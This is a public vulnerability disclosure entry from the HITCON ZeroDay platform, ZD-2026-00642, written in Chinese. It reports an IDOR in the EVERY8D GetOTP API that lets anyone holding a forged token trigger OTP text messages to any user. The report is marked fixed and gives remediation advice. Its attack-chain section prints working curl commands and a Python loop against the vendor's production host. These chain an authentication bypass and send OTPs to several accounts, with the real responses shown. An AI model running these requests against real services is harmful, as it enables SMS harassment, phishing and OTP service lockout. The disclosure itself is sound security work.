Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00642
- Vendor: 互動資通股份有限公司
- Title: 互動資通 EVERY8D ext-api.e8d.tw /e8d/mfa/GetOTP 缺少所有權驗證 — 任意觸發目標用戶 OTP 簡訊(IDOR)
- Introduction: /e8d/mfa/GetOTP 缺少所有權驗證,持偽造 Token 的攻擊者可對任意 UserNo 觸發官方 OTP 簡訊發送。
處理狀態
目前狀態
公開
Last Update : 2026/08/13
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2026/05/07 02:33:28 : 新提交 (由 罐頭 更新此狀態)
- 2026/05/07 02:34:24 : 新提交 (由 罐頭 更新此狀態)
- 2026/05/14 13:04:07 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:57:36 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:57:36 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:57:36 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/06 11:23:52 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/08 15:13:41 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/05 21:06:52 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/08/12 10:32:23 : 確認已修補 (由 罐頭 更新此狀態)
- 2026/08/13 03:00:13 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00642
- 通報者:guan4tou2 (罐頭)
- 風險:中
- 類型:邏輯漏洞 (Logic Flaws)
參考資料
攻擊者可經由該漏洞繞過網站邏輯行為進行惡意攻擊。
漏洞說明: OWASP - Testing for business logic
https://www.owasp.org/index.php/Testing_for_business_logic
漏洞說明: CWE-840: Business Logic Errors
https://cwe.mitre.org/data/definitions/840.html
漏洞說明: OWASP - Testing for business logic
https://www.owasp.org/index.php/Testing_for_business_logic
漏洞說明: CWE-840: Business Logic Errors
https://cwe.mitre.org/data/definitions/840.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://ext-api.e8d.tw/e8d/mfa/GetOTP
https://ext-api.e8d.tw/login/cert
https://ext-api.e8d.tw/login/cert
敘述
漏洞概述
本漏洞需搭配 /login/cert 認證繞過(ZD-2026-00637)取得 Token。
ext-api.e8d.tw/e8d/mfa/GetOTP 端點未驗證請求者是否為目標 UserNo 的帳號持有人。攻擊者利用 /login/cert 認證繞過取得偽造 Token 後,可對任意 UserNo 觸發 OTP 簡訊發送,簡訊透過官方 EVERY8D 渠道送達目標用戶手機。
攻擊鏈(Live Verified: 2026-05-07)
Step 1 — 取得偽造 Token(/login/cert 認證繞過):
curl -s -X POST "https://ext-api.e8d.tw/login/cert" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'body={"account":"crmonly1","ipaddress":"1.1.1.1","useragent":"Mozilla/5.0","custid":"E8D30NGW_2WAY","version":"production"}'
回應:
{"status":"200","token":"ZbR13180785607552778","enterprise":"1","message":"成功"}
Step 2 — GetOTP IDOR — 觸發任意用戶 OTP 發送:
# 對 UserNo=1 觸發 OTP 簡訊
curl -s -X POST "https://ext-api.e8d.tw/e8d/mfa/GetOTP" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'body={"account":"crmonly1","UserNo":"1","ipaddress":"1.1.1.1","useragent":"Mozilla/5.0","custid":"E8D30NGW_2WAY","token":"ZbR13180785607552778","enterprise":"1","version":"production"}'
回應:
{"status":"200","message":"成功"}
驗證多個 UserNo:
import urllib.request, json, urllib.parse, time
token = "ZbR13180785607552778"
for user_no in [1, 2, 10]:
body = json.dumps({
"account": "crmonly1",
"UserNo": str(user_no),
"ipaddress": "1.1.1.1",
"useragent": "Mozilla/5.0",
"custid": "E8D30NGW_2WAY",
"token": token,
"enterprise": "1",
"version": "production"
})
data = f"body={urllib.parse.quote(body)}".encode()
req = urllib.request.Request(
"https://ext-api.e8d.tw/e8d/mfa/GetOTP",
data=data,
headers={"Content-Type": "application/x-www-form-urlencoded"}
)
with urllib.request.urlopen(req, timeout=10) as r:
print(f"UserNo={user_no}: {r.read().decode()}")
time.sleep(2)
實際回應:
UserNo=1: {"status":"200","message":"成功"} ← OTP 發送至 UserNo=1 手機
UserNo=2: {"status":"200","message":"成功"} ← OTP 發送至 UserNo=2 手機
UserNo=10: {"status":"200","message":"成功"} ← OTP 發送至 UserNo=10 手機
對比無效 UserNo:
UserNo=99999: {"status":"304","message":"會員已被鎖住"} ← 不存在
影響說明
- SMS 釣魚/社工:以官方 EVERY8D 號碼對任意用戶發送 OTP 簡訊,提高釣魚可信度
- SMS 騷擾:在 Rate Limit 範圍內反覆發送 OTP 簡訊至目標手機
- OTP 服務 DoS:連續觸發後服務帳號被鎖定,導致所有用戶無法正常接收 OTP
嚴重程度
- 影響範圍:所有在 EVERY8D 系統中有手機門號的用戶
相關通報
本報告需搭配 ZD-2026-00637(ext-api.e8d.tw /login/cert 認證繞過)使用。
修補建議
1. /e8d/mfa/GetOTP 應驗證 UserNo 必須對應到請求 Token 的帳號本身
2. Rate Limiting 應依 IP + 目標 UserNo 雙重限制,而非僅限制服務帳號
3. 根本修補:修復 /login/cert 認證繞過漏洞
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。